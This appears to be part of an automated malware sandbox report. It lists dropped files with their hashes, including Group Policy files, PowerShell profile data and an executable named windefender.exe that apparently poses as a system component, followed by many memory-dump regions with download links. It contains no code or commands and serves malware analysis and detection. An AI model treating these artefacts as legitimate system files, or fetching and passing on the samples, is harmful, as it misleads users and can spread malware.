                                                                                                                                                                      43c5d1a6acd675fae1f268146cd0c19712dd2661ebf78fa81c06cdfeac72d461d7d1b4d7eb613145d55fad1648945d1dd5fa5a1520a8b6c3687dabdd2c342a1b

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                      Filesize

                                                                                                                                                                      19KB

                                                                                                                                                                      MD5

                                                                                                                                                                      2d2019a34d1bf37267d209a16145d96f

                                                                                                                                                                      SHA1

                                                                                                                                                                      b6685e89f667a479b48eaf8418e6313124f0c328

                                                                                                                                                                      SHA256

                                                                                                                                                                      e16b1a0ce463db313e8bc9c7b0102aa33c15ba86226fb470b12db962f4cf6f25

                                                                                                                                                                      SHA512

                                                                                                                                                                      5c4ba51f43cad2d6f0fdf93bd97156beeaa435e733b1d8f5b1e94c0603fecf278c3474a3ade03217b148bd7b293d8c7f3df38d0bd07c8022c8cf80c57b78ee3d

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                      Filesize

                                                                                                                                                                      11KB

                                                                                                                                                                      MD5

                                                                                                                                                                      aa8dd57ca30513418d88cce7123f75a3

                                                                                                                                                                      SHA1

                                                                                                                                                                      5c2f9b0ff200174b92816767b77b154713fb9f71

                                                                                                                                                                      SHA256

                                                                                                                                                                      7f622bb24b1025d73781d0c35cbd3e3f88d78944cadd8240f45785e385253e2f

                                                                                                                                                                      SHA512

                                                                                                                                                                      25a9b324a6e65ca2e4e757d354f126e0b04b68bd75d541a014657cde98e49a925aa2d269ad21a5e10d6a8be75a83ef03c138c8e6d1ebfd6b25f41e0874b516ab

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\System32\GroupPolicy\gpt.ini
                                                                                                                                                                      Filesize

                                                                                                                                                                      127B

                                                                                                                                                                      MD5

                                                                                                                                                                      8ef9853d1881c5fe4d681bfb31282a01

                                                                                                                                                                      SHA1

                                                                                                                                                                      a05609065520e4b4e553784c566430ad9736f19f

                                                                                                                                                                      SHA256

                                                                                                                                                                      9228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2

                                                                                                                                                                      SHA512

                                                                                                                                                                      5ddee931a08cfea5bb9d1c36355d47155a24d617c2a11d08364ffc54e593064011dee4fea8ac5b67029cab515d3071f0ba0422bb76af492a3115272ba8feb005

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\system32\GroupPolicy\Machine\Registry.pol
                                                                                                                                                                      Filesize

                                                                                                                                                                      1KB

                                                                                                                                                                      MD5

                                                                                                                                                                      cdfd60e717a44c2349b553e011958b85

                                                                                                                                                                      SHA1

                                                                                                                                                                      431136102a6fb52a00e416964d4c27089155f73b

                                                                                                                                                                      SHA256

                                                                                                                                                                      0ee08da4da3e4133e1809099fc646468e7156644c9a772f704b80e338015211f

                                                                                                                                                                      SHA512

                                                                                                                                                                      dfea0d0b3779059e64088ea9a13cd6b076d76c64db99fa82e6612386cae5cda94a790318207470045ef51f0a410b400726ba28cb6ecb6972f081c532e558d6a8

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\system32\GroupPolicy\gpt.ini
                                                                                                                                                                      Filesize

                                                                                                                                                                      268B

                                                                                                                                                                      MD5

                                                                                                                                                                      a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                      SHA1

                                                                                                                                                                      1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                      SHA256

                                                                                                                                                                      9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                      SHA512

                                                                                                                                                                      9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\windefender.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      2.0MB

                                                                                                                                                                      MD5

                                                                                                                                                                      8e67f58837092385dcf01e8a2b4f5783

                                                                                                                                                                      SHA1

                                                                                                                                                                      012c49cfd8c5d06795a6f67ea2baf2a082cf8625

                                                                                                                                                                      SHA256

                                                                                                                                                                      166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

                                                                                                                                                                      SHA512

                                                                                                                                                                      40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • memory/768-32-0x0000000000400000-0x0000000001A40000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      22.2MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/768-31-0x0000000001BB0000-0x0000000001C22000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      456KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/768-563-0x0000000000400000-0x0000000001A40000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      22.2MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/768-242-0x0000000000400000-0x0000000001A40000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      22.2MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/768-109-0x0000000000400000-0x0000000001A40000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      22.2MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/768-30-0x0000000001CA0000-0x0000000001DA0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      1024KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/768-112-0x0000000001CA0000-0x0000000001DA0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      1024KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1572-161-0x0000000000400000-0x0000000001A19000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      22.1MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1572-137-0x0000000000400000-0x0000000001A19000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      22.1MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1572-135-0x0000000001A70000-0x0000000001B70000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      1024KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1572-136-0x0000000003650000-0x0000000003677000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      156KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1756-73-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1756-251-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1756-157-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1756-74-0x0000000003E90000-0x000000000477B000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.9MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1756-144-0x0000000003A80000-0x0000000003E87000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/1756-72-0x0000000003A80000-0x0000000003E87000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2156-1-0x00007FF84CA60000-0x00007FF84D521000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      10.8MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2156-2-0x000001FD7D600000-0x000001FD7D610000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2156-3-0x000001FD7B360000-0x000001FD7B3BE000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      376KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2156-7-0x00007FF84CA60000-0x00007FF84D521000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      10.8MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2156-0-0x000001FD7AF80000-0x000001FD7AFB6000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      216KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2164-89-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2164-295-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2164-86-0x0000000003A00000-0x0000000003E06000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2468-4-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      32KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2468-106-0x00000000052E0000-0x00000000052F0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2468-92-0x0000000074A20000-0x00000000751D0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      7.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2468-5-0x0000000074A20000-0x00000000751D0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      7.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2468-6-0x00000000052E0000-0x00000000052F0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2560-749-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.9MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-774-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-801-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-846-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-839-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-765-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-673-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/2604-739-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3204-712-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3204-682-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3512-766-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.9MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3512-840-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4.9MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-88-0x0000000005640000-0x0000000005C68000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      6.2MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-91-0x0000000005CB0000-0x0000000005CD2000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      136KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-87-0x0000000004E80000-0x0000000004EB6000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      216KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-90-0x0000000005000000-0x0000000005010000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-93-0x0000000074A20000-0x00000000751D0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      7.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-94-0x0000000005000000-0x0000000005010000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-163-0x0000000007B50000-0x0000000007B61000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      68KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-162-0x0000000007BF0000-0x0000000007C86000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      600KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-160-0x0000000007B30000-0x0000000007B3A000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      40KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-159-0x0000000005000000-0x0000000005010000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-143-0x000000006FF80000-0x000000006FFCC000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      304KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-158-0x000000007F990000-0x000000007F9A0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-156-0x0000000007A40000-0x0000000007AE3000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      652KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-155-0x0000000007A20000-0x0000000007A3E000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      120KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-95-0x0000000005D50000-0x0000000005DB6000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      408KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-101-0x0000000005E30000-0x0000000005E96000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      408KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-145-0x000000006F700000-0x000000006FA54000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      3.3MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-107-0x0000000005FA0000-0x00000000062F4000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      3.3MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-142-0x00000000079E0000-0x0000000007A12000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      200KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-141-0x0000000007820000-0x000000000783A000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      104KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-140-0x0000000007E80000-0x00000000084FA000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      6.5MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-139-0x0000000007780000-0x00000000077F6000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      472KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-138-0x0000000006920000-0x0000000006964000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      272KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-114-0x0000000006460000-0x000000000647E000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      120KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/3936-115-0x00000000069D0000-0x0000000006A1C000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      304KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4364-518-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4364-296-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4364-511-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-49-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-52-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-43-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-134-0x00007FF86AAD0000-0x00007FF86ACC5000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      2.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-44-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-45-0x00007FF800000000-0x00007FF800002000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-46-0x00007FF86AAD0000-0x00007FF86ACC5000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      2.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-48-0x00007FF86A020000-0x00007FF86A0DE000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      760KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-51-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-50-0x00007FF800030000-0x00007FF800031000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      4KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-116-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-47-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4592-53-0x0000000140000000-0x00000001408B7000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      8.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4804-297-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4804-507-0x0000000000400000-0x0000000001DFD000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      26.0MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4860-676-0x0000000010000000-0x0000000013BC3000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      59.8MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4936-167-0x000000006FF80000-0x000000006FFCC000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      304KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4936-166-0x000000007F190000-0x000000007F1A0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4936-168-0x000000006F700000-0x000000006FA54000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      3.3MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4936-111-0x0000000004B50000-0x0000000004B60000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4936-113-0x0000000004B50000-0x0000000004B60000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      64KB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/4936-110-0x0000000074A20000-0x00000000751D0000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      7.7MB

                                                                                                                                                                      Download

                                                                                                                                                                    • memory/5440-779-0x0000000010000000-0x0000000013BC3000-memory.dmp

                                                                                                                                                                      Filesize

                                                                                                                                                                      59.8MB

                                                                                                                                                                      Download